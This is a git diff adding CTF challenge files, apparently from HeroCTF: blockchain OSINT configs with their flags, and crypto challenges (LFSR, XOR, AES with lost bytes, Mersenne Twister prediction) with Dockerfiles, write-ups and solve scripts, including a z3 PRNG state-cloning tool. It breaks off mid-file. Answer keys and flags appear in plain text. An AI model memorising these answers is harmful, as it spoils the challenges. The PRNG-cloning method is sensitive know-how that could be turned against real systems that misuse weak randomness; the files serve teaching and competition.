diff --git a/Blockchain/Classic_One_tbh/challenge.yml b/Blockchain/Classic_One_tbh/challenge.yml
new file mode 100644
index 0000000..598e63a
--- /dev/null
+++ b/Blockchain/Classic_One_tbh/challenge.yml
@@ -0,0 +1,33 @@
+name: "Challenge 01 : Classic one tbh"
+author: "iHuggsy"
+category: Blockchain
+description: "All the Blockchain challenges descriptions and relevant informations are available on
+http://blockchain.heroctf.fr:22000/
+
+Format : **Hero{FLAG}**
+Author : **iHuggsy**
+"
+value: 0
+type: dynamic
+
+extra:
+ initial: 500
+ decay: 100
+ minimum: 50
+
+image: null
+host: null
+
+flags:
+ - {
+ type: "static",
+ content: "Hero{S4m3_aS_USU4L_bUT_S3eN_IRL??!}",
+ data: "case_insensitive",
+ }
+
+tags:
+ - easy
+ - Blockchain
+
+state: visible
+version: "0.1"
diff --git a/Blockchain/Dive_IRL_Stuff/challenge.yml b/Blockchain/Dive_IRL_Stuff/challenge.yml
new file mode 100644
index 0000000..0dca386
--- /dev/null
+++ b/Blockchain/Dive_IRL_Stuff/challenge.yml
@@ -0,0 +1,33 @@
+name: "Challenge 02 : Dive into real life stuff"
+author: "iHuggsy"
+category: Blockchain
+description: "All the Blockchain challenges descriptions and relevant informations are available on
+http://blockchain.heroctf.fr:22000/
+
+Format : **Hero{FLAG}**
+Author : **iHuggsy**
+"
+value: 0
+type: dynamic
+
+extra:
+ initial: 500
+ decay: 100
+ minimum: 50
+
+image: null
+host: null
+
+flags:
+ - {
+ type: "static",
+ content: "Hero{Th1s_1_w4s_3z_bro}",
+ data: "case_insensitive",
+ }
+
+tags:
+ - medium
+ - Blockchain
+
+state: visible
+version: "0.1"
diff --git a/Blockchain/Now_This_is_Real_Life/challenge.yml b/Blockchain/Now_This_is_Real_Life/challenge.yml
new file mode 100644
index 0000000..d0fa5b4
--- /dev/null
+++ b/Blockchain/Now_This_is_Real_Life/challenge.yml
@@ -0,0 +1,33 @@
+name: "Challenge 04 : Now this is real life"
+author: "iHuggsy"
+category: Blockchain
+description: "All the Blockchain challenges descriptions and relevant informations are available on
+http://blockchain.heroctf.fr:22000/
+
+Format : **Hero{FLAG}**
+Author : **iHuggsy**
+"
+value: 0
+type: dynamic
+
+extra:
+ initial: 500
+ decay: 100
+ minimum: 50
+
+image: null
+host: null
+
+flags:
+ - {
+ type: "static",
+ content: "Hero{S0_Ur_4_r3AL_hUnT3r_WP_YMI!!!}",
+ data: "case_insensitive",
+ }
+
+tags:
+ - hard
+ - Blockchain
+
+state: visible
+version: "0.1"
diff --git a/Blockchain/Oh_sh_here_we_go_again/challenge.yml b/Blockchain/Oh_sh_here_we_go_again/challenge.yml
new file mode 100644
index 0000000..0fae3b3
--- /dev/null
+++ b/Blockchain/Oh_sh_here_we_go_again/challenge.yml
@@ -0,0 +1,33 @@
+name: "Challenge 00 : Oh sh. Here we go again ?"
+author: "iHuggsy"
+category: Blockchain
+description: "All the Blockchain challenges descriptions and relevant informations are available on
+http://blockchain.heroctf.fr:22000/
+
+Format : **Hero{FLAG}**
+Author : **iHuggsy**
+"
+value: 0
+type: dynamic
+
+extra:
+ initial: 500
+ decay: 100
+ minimum: 50
+
+image: null
+host: null
+
+flags:
+ - {
+ type: "static",
+ content: "Hero{M3l_weLComes_U_B4cK!:)}",
+ data: "case_insensitive",
+ }
+
+tags:
+ - easy
+ - Blockchain
+
+state: visible
+version: "0.1"
diff --git a/Blockchain/The_Arrest/challenge.yml b/Blockchain/The_Arrest/challenge.yml
new file mode 100644
index 0000000..5cdf30e
--- /dev/null
+++ b/Blockchain/The_Arrest/challenge.yml
@@ -0,0 +1,41 @@
+name: "The arrest"
+author: "iHuggsy"
+category: Blockchain
+description: "In the dim-lit confines of his room, a lone figure hunched over a computer screen. Known online as 'Swissy', he was one of the most notorious ransomware operators worldwide.
+From his small apartment in a forgotten corner of Moscow, Swissy had wreaked havoc on the digital world, crippling entire industries with his ransomware attacks.
+But tonight, his reign of terror ended abruptly. A sudden knock echoed through the room, followed by the splintering of the door as Russian FSB agents stormed in.
+Swissy was arrested, but the real challenge was only beginning - tracing the syndicate behind him.
+Find the address who funded the ransomware operator (0xf6c0513FA09189Bf08e1329E44A86dC85a37c176)
+
+
+**NOTE : Relevant contracts and addresses can be found in the help section on the blockchain website at the help page**
+
+Format : **0x..** (ETH address)
+Author : **iHuggsy**
+"
+
+value: 0
+type: dynamic
+
+extra:
+ initial: 500
+ decay: 100
+ minimum: 50
+
+image: null
+host: null
+
+flags:
+ - {
+ type: "static",
+ content: "0x54741632BE9F6E805b64c3B31f3e052e1eAe73e2",
+ data: "case_insensitive",
+ }
+
+tags:
+ - easy
+ - OSINT
+ - Blockchain
+
+state: visible
+version: "0.1"
diff --git a/Blockchain/The_Second_Transaction_and_the_Offshore_Connection/challenge.yml b/Blockchain/The_Second_Transaction_and_the_Offshore_Connection/challenge.yml
new file mode 100644
index 0000000..7f10f18
--- /dev/null
+++ b/Blockchain/The_Second_Transaction_and_the_Offshore_Connection/challenge.yml
@@ -0,0 +1,45 @@
+name: "The Second Transaction and the Offshore Connection"
+author: "iHuggsy"
+category: Blockchain
+description: "The second transaction led to an offshore exchange account in Switzerland, further complicating matters.
+After weeks of negotiations, they managed to obtain the identity of the account holder, a businessman based in Shanghai.
+They were one step closer, but still far from the truth.
+Follow the trail. Find the address who funded the the exchange's account (last step's flag)
+
+
+**NOTE : Relevant contracts and addresses can be found in the help section on the blockchain website at the help page**
+
+
+Format : **0x..** (ETH address)
+Author : **iHuggsy**
+"
+
+value: 0
+type: dynamic
+
+extra:
+ initial: 500
+ decay: 100
+ minimum: 50
+
+image: null
+host: null
+
+flags:
+ - {
+ type: "static",
+ content: "0x80AF38eCD0dE67B02552A558cFD144a38D544160",
+ data: "case_insensitive",
+ }
+
+tags:
+ - hard
+ - OSINT
+ - Blockchain
+
+requirements:
+ - "The Arrest"
+ - "Tracing the First Transaction"
+
+state: visible
+version: "0.1"
diff --git a/Blockchain/The_Third_Transaction_and_the_Insider/challenge.yml b/Blockchain/The_Third_Transaction_and_the_Insider/challenge.yml
new file mode 100644
index 0000000..9164b35
--- /dev/null
+++ b/Blockchain/The_Third_Transaction_and_the_Insider/challenge.yml
@@ -0,0 +1,47 @@
+name: "The Third Transaction and the Insider"
+author: "iHuggsy"
+category: Blockchain
+description: "The third transaction was the most challenging yet. We have no clue who this belongs to ...
+You have to keep following the trail. The end is near !
+
+The address that funded the unknown wallet address should lead to a CEX wallet transfer.
+Find the hash of the transaction from the CEX to the main funding address
+
+
+**NOTE : Relevant contracts and addresses can be found in the help section on the blockchain website at the help page**
+
+
+Format : **0x..** (sha3 hash)
+Author : **iHuggsy**
+"
+
+value: 0
+type: dynamic
+
+extra:
+ initial: 500
+ decay: 100
+ minimum: 50
+
+image: null
+host: null
+
+flags:
+ - {
+ type: "static",
+ content: "0x10110b38d8552bf2d47c958a201da2aa4d184f87cf8a6ef3f5dc57ef9c18162a",
+ data: "case_insensitive",
+ }
+
+tags:
+ - hard
+ - OSINT
+ - Blockchain
+
+requirements:
+ - "The Arrest"
+ - "Tracing the First Transaction"
+ - "The Second Transaction and the Offshore Connection"
+
+state: visible
+version: "0.1"
diff --git a/Blockchain/Tracing_the_First_Transaction/challenge.yml b/Blockchain/Tracing_the_First_Transaction/challenge.yml
new file mode 100644
index 0000000..c6e08f2
--- /dev/null
+++ b/Blockchain/Tracing_the_First_Transaction/challenge.yml
@@ -0,0 +1,44 @@
+name: "Tracing the First Transaction"
+author: "iHuggsy"
+category: Blockchain
+description: "The first transaction was the most straightforward, traced back to a bitcoin wallet belonging to a shell company.
+The company was a front, but it was a start. They discovered the shell company was registered in the Cayman Islands -
+a notorious tax haven, making it a perfect place to launder illicit fund
+Follow the trail. Find the address who funded the the shell company (last step's flag)
+
+
+**NOTE : Relevant contracts and addresses can be found in the help section on the blockchain website at the help page**
+
+
+Format : **0x..** (ETH address)
+Author : **iHuggsy**
+"
+
+value: 0
+type: dynamic
+
+extra:
+ initial: 500
+ decay: 100
+ minimum: 50
+
+image: null
+host: null
+
+flags:
+ - {
+ type: "static",
+ content: "0x26F8A2D63B06D84121b35990ce8b7FEbac4Fe353",
+ data: "case_insensitive",
+ }
+
+tags:
+ - medium
+ - OSINT
+ - Blockchain
+
+requirements:
+ - The arrest
+
+state: visible
+version: "0.1"
diff --git a/Blockchain/You_Have_to_be_Kidding_me/challenge.yml b/Blockchain/You_Have_to_be_Kidding_me/challenge.yml
new file mode 100644
index 0000000..4150218
--- /dev/null
+++ b/Blockchain/You_Have_to_be_Kidding_me/challenge.yml
@@ -0,0 +1,33 @@
+name: "Challenge 03 : You have to be kidding me.."
+author: "iHuggsy"
+category: Blockchain
+description: "All the Blockchain challenges descriptions and relevant informations are available on
+http://blockchain.heroctf.fr:22000/
+
+Format : **Hero{FLAG}**
+Author : **iHuggsy**
+"
+value: 0
+type: dynamic
+
+extra:
+ initial: 500
+ decay: 100
+ minimum: 50
+
+image: null
+host: null
+
+flags:
+ - {
+ type: "static",
+ content: "Hero{H0w_L0ng_D1d_1t_T4k3_U_?..lmao}",
+ data: "case_insensitive",
+ }
+
+tags:
+ - hard
+ - Blockchain
+
+state: visible
+version: "0.1"
diff --git a/Crypto/.gitkeep b/Crypto/.gitkeep
new file mode 100644
index 0000000..e69de29
diff --git a/Crypto/Futile/Dockerfile b/Crypto/Futile/Dockerfile
new file mode 100644
index 0000000..af1c47d
--- /dev/null
+++ b/Crypto/Futile/Dockerfile
@@ -0,0 +1,13 @@
+FROM python:3.11-slim-bullseye
+
+RUN apt update -y && apt install -y socat \
+ && adduser --disabled-password --home /app user \
+ && pip3 install pylfsr
+
+COPY --chown=user . /app
+
+RUN chmod 755 /app/entry.sh /app/chall.py
+
+EXPOSE ${LISTEN_PORT}
+
+ENTRYPOINT ["/app/entry.sh"]
diff --git a/Crypto/Futile/README.md b/Crypto/Futile/README.md
new file mode 100644
index 0000000..d9cf098
--- /dev/null
+++ b/Crypto/Futile/README.md
@@ -0,0 +1,58 @@
+# Futile
+
+### category
+
+Crypto
+
+### Description
+
+Linear Futile Shift Register
+Format : **Hero{flag}**
+Author : **yarienkiva**
+
+### Files
+
+- [chall.zip](chall.zip)
+
+### Write up
+
+The LFSR has a degree of 8 and is used to generate 8bit integers. Since the internal state of an LFSR can't be all 0s (otherwhise it would only generate 0s)
+we know that the only integers that can be generated are in the range \[0b00000001, 0b11111111\] (\[1, 255]).
+Thus the xored values for each character c of the flag are in [c ^ 1, c ^ 255], and c ^ 0 is never generated.
+We can then, for each index, create a list of all possible characters and discard from it all characters received until there's only one possibility left.
+
+```py
+from pwn import *
+import string
+import sys
+
+CHARSET = string.printable
+
+r = process(['python3', 'chall.py'])
+
+def get_flag():
+ l = r.recvlineS()
+ r.sendline()
+ return l.strip()
+
+def print_flag(*a, **k):
+ print('Hero{' + ''.join('_' if len(c)>1 else chr(c[0]) for c in flag) + '}', sum(map(len, flag)), *a, **k)
+
+flag_len = (len(get_flag()) - len('Hero{}')) // 2
+flag = [[*map(ord, CHARSET)] for _ in range(flag_len)]
+
+while any(len(c)>1 for c in flag):
+
+ dat = bytes.fromhex(get_flag()[5:-1])
+
+ for i in range(len(flag)):
+ if dat[i] in flag[i]:
+ flag[i].remove(dat[i])
+
+ print_flag(end="\n\033[F")
+print_flag()
+```
+
+### Flag
+
+```Hero{Int3rn4l_st4t3s_c4nt_b3_nu77}```
diff --git a/Crypto/Futile/chall.py b/Crypto/Futile/chall.py
new file mode 100644
index 0000000..2a8c8f0
--- /dev/null
+++ b/Crypto/Futile/chall.py
@@ -0,0 +1,25 @@
+#!/usr/bin/env python
+from pylfsr import LFSR
+from functools import reduce
+import os
+
+with open('flag.txt', 'rb') as f:
+ flag = f.read().strip()
+
+def binl2int(l: list) -> int:
+ return reduce(lambda x,y: 2*x+y, l)
+
+def lfsr() -> LFSR:
+ return LFSR(fpoly=[8,6,5,4], initstate='random')
+
+def get_uint8() -> int:
+ return binl2int(lfsr().runKCycle(8))
+
+def mask(flag: bytes) -> str:
+ return bytearray(f ^ get_uint8() for f in flag).hex()
+
+while True:
+ try:
+ input('Hero{' + mask(flag[5:-1]) + '}\n')
+ except Exception as e:
+ pass
diff --git a/Crypto/Futile/chall.zip b/Crypto/Futile/chall.zip
new file mode 100644
index 0000000..ab43e14
Binary files /dev/null and b/Crypto/Futile/chall.zip differ
diff --git a/Crypto/Futile/challenge.yml b/Crypto/Futile/challenge.yml
new file mode 100644
index 0000000..33975a2
--- /dev/null
+++ b/Crypto/Futile/challenge.yml
@@ -0,0 +1,34 @@
+---
+name: Futile
+author: yarienkiva
+category: Crypto
+description: "Linear Futile Shift Register
+Host : **nc static-01.heroctf.fr 9001**
+Format : **Hero{flag}**
+Author : **yarienkiva**"
+value: null
+type: dynamic
+extra:
+ initial: 500
+ decay: 100
+ minimum: 50
+
+image: null
+host: null
+
+flags:
+ - {
+ type: "static",
+ content: "Hero{Int3rn4l_st4t3s_c4nt_b3_nu77}",
+ data: "case_insensitive",
+ }
+
+tags:
+ - medium
+ - crypto
+
+files:
+ - chall.zip
+
+state: visible
+version: "0.1"
diff --git a/Crypto/Futile/entry.sh b/Crypto/Futile/entry.sh
new file mode 100644
index 0000000..c73764e
--- /dev/null
+++ b/Crypto/Futile/entry.sh
@@ -0,0 +1,6 @@
+#! /bin/sh
+
+while :
+do
+ su -c "exec socat TCP-LISTEN:${LISTEN_PORT},forever,reuseaddr,fork EXEC:'/app/chall.py'" - user;
+done
diff --git a/Crypto/Futile/flag.txt b/Crypto/Futile/flag.txt
new file mode 100644
index 0000000..cbc01c8
--- /dev/null
+++ b/Crypto/Futile/flag.txt
@@ -0,0 +1 @@
+Hero{Int3rn4l_st4t3s_c4nt_b3_nu77}
diff --git a/Crypto/HyperLoop/README.md b/Crypto/HyperLoop/README.md
new file mode 100644
index 0000000..52c3f1e
--- /dev/null
+++ b/Crypto/HyperLoop/README.md
@@ -0,0 +1,118 @@
+# Hyper Loop
+
+### Category
+
+Crypto
+
+### Description
+
+The author is aware that XOR alone is not sufficiently secure, but they have implemented a solution to address this issue. Use the provided Python script to recover the original flag.
+
+Format : Hero{flag}
+Author : xanhacks
+
+### Files
+
+- [hyper\_loop.py](hyper_loop.py)
+
+### Write Up (Xanhacks)
+
+The key is a random value repeated three times, example:
+
+```python
+>> from os import urandom
+>>> urandom(6) * 3
+b'\xec\xab\xf6\x02s\x87\xec\xab\xf6\x02s\x87\xec\xab\xf6\x02s\x87'
+# b'\xec\xab\xf6\x02s\x87 \xec\xab\xf6\x02s\x87 \xec\xab\xf6\x02s\x87'
+>>> urandom(6) * 3
+b'cW\xc4\xbe\x13\xf5cW\xc4\xbe\x13\xf5cW\xc4\xbe\x13\xf5'
+# b'cW\xc4\xbe\x13\xf5 cW\xc4\xbe\x13\xf5 cW\xc4\xbe\x13\xf5'
+```
+
+The flag is XORed 32 times:
+
+```
+output[0] = flag[0] ^ key[0] ^ key[1] ^ ... ^ key[31]
+output[1] = flag[1] ^ key[0] ^ key[1] ^ ... ^ key[31]
+...
+output[17] = flag[17] ^ key[0] ^ key[1] ^ ... ^ key[31]
+```
+
+However, its like the flag has been XORed only one time:
+
+```
+output[0] = flag[0] ^ X
+with X = key[0] ^ key[1] ^ ... ^ key[31]
+output[1] = flag[1] ^ Y
+with Y = key[0] ^ key[1] ^ ... ^ key[31]
+```
+
+You can find the 5 first chars of the key using `Hero{` and the last char using the last char of the flag `}`.
+
+```python
+#!/usr/bin/env python3
+
+flag = bytearray(b"Hero{????????????}")
+output = bytearray(b'\x05p\x07MS\xfd4eFPw\xf9}%\x05\x03\x19\xe8')
+
+
+flag[5] = output[5] ^ flag[17] ^ output[17]
+
+for i in range(6):
+ flag[6 + i] = output[6 + i] ^ flag[i] ^ output[i]
+
+for i in range(5):
+ flag[12 + i] = output[12 + i] ^ flag[i] ^ output[i]
+
+print(flag)
+```
+
+Execution:
+
+```bash
+$ python3 solve.py
+bytearray(b'Hero{hyp3r_l00p!1}')
+```
+
+### Write Up (Alol)
+
+This challenge is a classical flag XOR key challenge with a little twist.
+
+The flag is xored with not 1 but 32 keys. The keys are composed of 6 random bytes repeated 3 times. Thus we have something that looks like this, where we know `enc` and `flag` but not the values of `k` :
+
+```math
+\begin{align*}
+ enc_0 &= flag_0 \oplus k_{0,0} \oplus k_{0,1} \oplus ... \oplus k_{0,32} \\
+ enc_1 &= flag_1 \oplus k_{1,0} \oplus k_{1,1} \oplus ... \oplus k_{1,32} \\
+... \\
+ enc_{17} &= flag_{17} \oplus k_{17,0} \oplus k_{17,1} \oplus ... \oplus k_{17,32} \\
+\end{align*}
+```
+
+Notice that we can simplify the equations as :
+
+```math
+\begin{align*}
+ enc_0 &= flag_0 \oplus K_{0} \\
+ enc_1 &= flag_1 \oplus K_{1} \\
+... \\
+ enc_{17} &= flag_{17} \oplus K_{17} \\
+\end{align*}
+```
+Where :
+```math
+K_{i} = k_{i,0} \oplus k_{i,1} \oplus ... \oplus k_{i,32}
+```
+
+We don't need to know the values of all the keys, we only need to find the values of K_i. Since we know 6 bytes of plaintext (`Hero{` and `}`) we can find K and decrypt the flag.
+
+```py
+xor = lambda a,b: bytes(x^y for x,y in zip(a,b))
+enc = b'\x05p\x07MS\xfd4eFPw\xf9}%\x05\x03\x19\xe8'
+K = xor(b'Hero{', enc) + xor(b'}', enc[-1::])
+print(xor(enc, K*3))
+```
+
+### Flag
+
+**Hero{hyp3r_l00p!1}**
diff --git a/Crypto/HyperLoop/challenge.yml b/Crypto/HyperLoop/challenge.yml
new file mode 100644
index 0000000..edf969c
--- /dev/null
+++ b/Crypto/HyperLoop/challenge.yml
@@ -0,0 +1,35 @@
+name: "Hyper Loop"
+author: "xanhacks"
+category: Crypto
+description: "The author is aware that XOR alone is not sufficiently secure, but they have implemented a solution to address this issue. Use the provided Python script to rec
+over the original flag.
+
+Format : **Hero{flag}**
+Author : **xanhacks**"
+value: 0
+type: dynamic
+
+extra:
+ initial: 500
+ decay: 100
+ minimum: 50
+
+image: null
+host: null
+
+flags:
+ - {
+ type: "static",
+ content: "Hero{hyp3r_l00p!1}",
+ data: "case_insensitive",
+ }
+
+tags:
+ - easy
+ - xor
+
+files:
+ - hyper_loop.py
+
+state: visible
+version: "0.1"
diff --git a/Crypto/HyperLoop/hyper_loop.py b/Crypto/HyperLoop/hyper_loop.py
new file mode 100644
index 0000000..c3f0835
--- /dev/null
+++ b/Crypto/HyperLoop/hyper_loop.py
@@ -0,0 +1,17 @@
+from os import urandom
+
+
+flag = bytearray(b"Hero{????????????}")
+assert len(flag) == 18
+
+for _ in range(32):
+ for i, c in enumerate(urandom(6) * 3):
+ flag[i] = flag[i] ^ c
+
+print(f"{flag = }")
+
+
+"""
+$ python3 hyper_loop.py
+flag = bytearray(b'\x05p\x07MS\xfd4eFPw\xf9}%\x05\x03\x19\xe8')
+"""
diff --git a/Crypto/HyperLoop/solve.py b/Crypto/HyperLoop/solve.py
new file mode 100644
index 0000000..a6e54ed
--- /dev/null
+++ b/Crypto/HyperLoop/solve.py
@@ -0,0 +1,16 @@
+#!/usr/bin/env python3
+
+flag = bytearray(b"Hero{????????????}")
+output = bytearray(b'\x05p\x07MS\xfd4eFPw\xf9}%\x05\x03\x19\xe8')
+
+
+flag[5] = output[5] ^ flag[17] ^ output[17]
+
+for i in range(6):
+ flag[6 + i] = output[6 + i] ^ flag[i] ^ output[i]
+
+for i in range(5):
+ flag[12 + i] = output[12 + i] ^ flag[i] ^ output[i]
+
+print(flag)
+
diff --git a/Crypto/Lossy/README.md b/Crypto/Lossy/README.md
new file mode 100644
index 0000000..67936d1
--- /dev/null
+++ b/Crypto/Lossy/README.md
@@ -0,0 +1,66 @@
+# Lossy
+
+### category
+
+Crypto
+
+### Description
+
+There are two types of people in the world :
+1) Those who can cope with missing data
+Format : **Hero{flag}**
+Author : **yarienkiva**"
+
+### Files
+
+- [chall.py](chall.py)
+
+### Write up
+
+As the comment hinted at, `to_hex` was, in fact, not equivalent to `.tohex`.
+The bug stems from the fact that `hex(n)` doesn't pad the hex byte with an additional 0 if its value is between 0x0 and 0xF, thus `len(hex(0x10 to 0xFF)) = 4` but `len(hex(0x00 to 0x0F)) == 3`.
+Because we know the size of the inputs we can know how many 0s are missing but we can't know where.
+The following code can be used to recover the flag, it tests all possible combinations of indexes until the decrypted message contains a crib.
+
+```
+from cryptography.hazmat.primitives.ciphers.algorithms import AES
+from cryptography.hazmat.primitives.ciphers import Cipher, modes
+from itertools import combinations
+from tqdm import tqdm
+
+def decrypt(ct, key):
+ aes = Cipher(AES(key), modes.ECB())
+ dec = aes.decryptor()
+ pt = dec.update(ct)
+ pt += dec.finalize()
+ return pt
+
+def add_zeros(ct, p):
+ test_ct = list(ct)
+ for i in p:
+ test_ct.insert(i, '0')
+ return ''.join(test_ct)
+
+ct = '17c69a812e76d90e455a346c49e22fb6487d9245b3a90af42e67c7b7c3f2823'
+key = 'b5295cd71d2f7cedb377c2ab6cb93'
+
+missing_ct = -len(ct) % 32
+missing_key = -len(key) % 16
+
+for mc in tqdm([*combinations(range(len(ct)), missing_ct)]):
+ for mk in combinations(range(len(key)), missing_key):
+
+ test_ct = bytes.fromhex(add_zeros(ct, mc))
+ test_key = bytes.fromhex(add_zeros(key, mk))
+
+ flag = decrypt(test_ct, test_key)
+
+ if flag.startswith(b'Hero{'):
+ print('Found!', flag)
+```
+
+### Flag
+
+```
+Hero{R41ders_0f_th3_l0st_byt3s!}
+```
diff --git a/Crypto/Lossy/chall.py b/Crypto/Lossy/chall.py
new file mode 100644
index 0000000..1a03caf
--- /dev/null
+++ b/Crypto/Lossy/chall.py
@@ -0,0 +1,25 @@
+from cryptography.hazmat.primitives.ciphers.algorithms import AES
+from cryptography.hazmat.primitives.ciphers import Cipher, modes
+from secret import flag, key
+
+assert len(flag) == 32
+assert len(key) == 16
+
+# should be equivalent to .hex() (probably)
+to_hex = lambda x: "".join(hex(k)[2:] for k in x)
+
+def encrypt(pt, key):
+ aes = Cipher(AES(key), modes.ECB())
+ enc = aes.encryptor()
+ ct = enc.update(pt)
+ ct += enc.finalize()
+ return ct
+
+ct = to_hex(encrypt(flag, key))
+key = to_hex(key)
+
+print(f'{ct = }')
+print(f'{key = }')
+
+# ct = '17c69a812e76d90e455a346c49e22fb6487d9245b3a90af42e67c7b7c3f2823'
+# key = 'b5295cd71d2f7cedb377c2ab6cb93'
diff --git a/Crypto/Lossy/challenge.yml b/Crypto/Lossy/challenge.yml
new file mode 100644
index 0000000..cad80ef
--- /dev/null
+++ b/Crypto/Lossy/challenge.yml
@@ -0,0 +1,35 @@
+---
+name: Lossy
+author: yarienkiva
+category: Crypto
+description: "There are two types of people in the world :
+1) Those who can cope with missing data
+Format : **Hero{flag}**
+Author : **yarienkiva**"
+value: null
+type: dynamic
+extra:
+ initial: 500
+ decay: 100
+ minimum: 50
+
+image: null
+host: null
+
+flags:
+ - {
+ type: "static",
+ content: "Hero{R41ders_0f_th3_l0st_byt3s!}",
+ data: "case_insensitive",
+ }
+
+tags:
+ - easy
+ - crypto
+ - prog
+
+files:
+ - chall.py
+
+state: visible
+version: "0.1"
diff --git a/Crypto/Uniform/Dockerfile b/Crypto/Uniform/Dockerfile
new file mode 100644
index 0000000..c204dc3
--- /dev/null
+++ b/Crypto/Uniform/Dockerfile
@@ -0,0 +1,12 @@
+FROM python:3.11-alpine
+
+RUN apk --update add socat \
+ && adduser -D --home /app user
+
+COPY --chown=user . /app
+
+RUN chmod 755 /app/entry.sh /app/chall.py
+
+EXPOSE ${LISTEN_PORT}
+
+ENTRYPOINT ["/app/entry.sh"]
\ No newline at end of file
diff --git a/Crypto/Uniform/README.md b/Crypto/Uniform/README.md
new file mode 100644
index 0000000..306c477
--- /dev/null
+++ b/Crypto/Uniform/README.md
@@ -0,0 +1,156 @@
+# Uniform
+
+### category
+
+Crypto
+
+### Description
+
+A Mersenne Twister with a twist
+Format : **Hero{flag}**
+Author : **yarienkiva**
+
+### Files
+
+- [chall.zip](chall.zip)
+
+### Write up
+
+TL;DR:
+- `uniform(0, 2**32 - 1)` calls `0 + (2**32 - 1 - 0) * random.random()` -> recover `random.random()` by multiplying the result with `2**32 - 1`
+- from `random.random()` recover `a>>5` and `b>>6` by multiplying by `2**53` and taking quotient and remainder from result divided by `2**26`
+- submit both `a>>5` and `b>>6` to symbolic mersenne untwister
+- recover the internal state, send the next value and get the flag
+
+//TODO(alol): étoffer le WU
+
+```py
+from pwn import *
+from z3 import *
+from tqdm import tqdm
+from random import Random
+from itertools import count
+
+SYMBOLIC_COUNTER = count()
+
+class Untwister:
+ def __init__(self):
+ name = next(SYMBOLIC_COUNTER)
+ self.MT = [BitVec(f'MT_{i}_{name}', 32) for i in range(624)]
+ self.index = 0
+ self.solver = Solver()
+
+ #This particular method was adapted from https://www.schutzwerk.com/en/43/posts/attacking_a_random_number_generator/
+ def symbolic_untamper(self, solver, y):
+ name = next(SYMBOLIC_COUNTER)
+
+ y1 = BitVec(f'y1_{name}', 32)
+ y2 = BitVec(f'y2_{name}' , 32)
+ y3 = BitVec(f'y3_{name}', 32)
+ y4 = BitVec(f'y4_{name}', 32)
+
+ equations = [
+ y2 == y1 ^ (LShR(y1, 11)),
+ y3 == y2 ^ ((y2 << 7) & 0x9D2C5680),
+ y4 == y3 ^ ((y3 << 15) & 0xEFC60000),
+ y == y4 ^ (LShR(y4, 18))
+ ]
+
+ solver.add(equations)
+ return y1
+
+ def symbolic_twist(self, MT, n=624, upper_mask=0x80000000, lower_mask=0x7FFFFFFF, a=0x9908B0DF, m=397):
+ '''
+ This method models MT19937 function as a Z3 program
+ '''
+ MT = [i for i in MT] #Just a shallow copy of the state
+
+ for i in range(n):
+ x = (MT[i] & upper_mask) + (MT[(i+1) % n] & lower_mask)
+ xA = LShR(x, 1)
+ xB = If(x & 1 == 0, xA, xA ^ a) #Possible Z3 optimization here by declaring auxiliary symbolic variables
+ MT[i] = MT[(i + m) % n] ^ xB
+
+ return MT
+
+ def get_symbolic(self, guess):
+ name = next(SYMBOLIC_COUNTER)
+ ERROR = 'Must pass a string like "?1100???1001000??0?100?10??10010" where ? represents an unknown bit'
+
+ assert type(guess) == str, ERROR
+ assert all(map(lambda x: x in '01?', guess)), ERROR
+ assert len(guess) <= 32, "One 32-bit number at a time please"
+ guess = guess.zfill(32)
+
+ self.symbolic_guess = BitVec(f'symbolic_guess_{name}', 32)
+ guess = guess[::-1]
+
+ for i, bit in enumerate(guess):
+ if bit != '?':
+ self.solver.add(Extract(i, i, self.symbolic_guess) == bit)
+
+ return self.symbolic_guess
+
+
+ def submit(self, guess):
+ '''
+ You need 624 numbers to completely clone the state.
+ You can input less than that though and this will give you the best guess for the state
+ '''
+ if self.index >= 624:
+ name = next(SYMBOLIC_COUNTER)
+ next_mt = self.symbolic_twist(self.MT)
+ self.MT = [BitVec(f'MT_{i}_{name}', 32) for i in range(624)]
+ for i in range(624):
+ self.solver.add(self.MT[i] == next_mt[i])
+ self.index = 0
+
+ symbolic_guess = self.get_symbolic(guess)
+ symbolic_guess = self.symbolic_untamper(self.solver, symbolic_guess)
+ self.solver.add(self.MT[self.index] == symbolic_guess)
+ self.index += 1
+
+ def get_random(self):
+ '''
+ This will give you a random.Random() instance with the cloned state.
+ '''
+ print('Solving...')
+ self.solver.check()
+ model = self.solver.model()
+ print(f'Solved!')
+
+ #Compute best guess for state
+ state = list(map(lambda x: model[x].as_long(), self.MT))
+ result_state = (3, tuple(state+[self.index]), None)
+ r = Random()
+ r.setstate(result_state)
+ return r
+
+r = process(['python3', 'main.py'])
+
+ut = Untwister()
+
+for l in tqdm(range(624)):
+ guess = float(r.recvline())
+ guess = guess / (2**32 - 1)
+ guess = guess * 9007199254740992 # 2**53
+ assert guess.is_integer(), f"Failed for guess ({guess})"
+
+ a, b = divmod(guess, 67108864) # 2**26
+ assert a.is_integer(), f"Failed for a ({a})"
+ assert b.is_integer(), f"Failed for b ({b})"
+
+ a, b = int(a), int(b)
+
+ ut.submit((format(a, 'b') + '?' * 5).zfill(32))
+ ut.submit((format(b, 'b') + '?' * 6).zfill(32))
+
+rand = ut.get_random()
+guess = rand.uniform(0, 2**32 - 1)
+r.sendline(str(guess).encode())
+print(r.recvlineS())
+```
+
+### Flag
+
+```Hero{R4nd0m_gu3ssing_is_h4rd_or_is_it_h4rdly_r4nd0m_?}```
diff --git a/Crypto/Uniform/chall.py b/Crypto/Uniform/chall.py
new file mode 100755
index 0000000..ed8baa6
--- /dev/null
+++ b/Crypto/Uniform/chall.py
@@ -0,0 +1,20 @@
+#!/usr/bin/env python
+import random
+import os
+
+# TODO: xanhacks told me that this was "too unoriginal" and
+# that I should change it, lets see how he likes this...
+
+# guess = lambda: random.getrandbits(32)
+guess = lambda: random.uniform(0, 2**32-1)
+
+for _ in range(624):
+ print(guess())
+
+secret = str(guess())
+
+if input('> ').strip() == secret:
+ with open('flag.txt', 'rb') as f:
+ print(f.read().strip())
+else:
+ print('Nope! It was:', secret)
diff --git a/Crypto/Uniform/chall.zip b/Crypto/Uniform/chall.zip
new file mode 100644
index 0000000..8ecf22b
Binary files /dev/null and b/Crypto/Uniform/chall.zip differ
diff --git a/Crypto/Uniform/challenge.yml b/Crypto/Uniform/challenge.yml
new file mode 100644
index 0000000..7c0db9e
--- /dev/null
+++ b/Crypto/Uniform/challenge.yml
@@ -0,0 +1,34 @@
+---
+name: Uniform
+author: yarienkiva
+category: Crypto
+description: "A Mersenne Twister with a twist
+Host : **nc static-01.heroctf.fr 9000**
+Format : **Hero{flag}**
+Author : **yarienkiva**"
+value: null
+type: dynamic
+extra:
+ initial: 500
+ decay: 100
+ minimum: 50
+
+image: null
+host: null
+
+flags:
+ - {
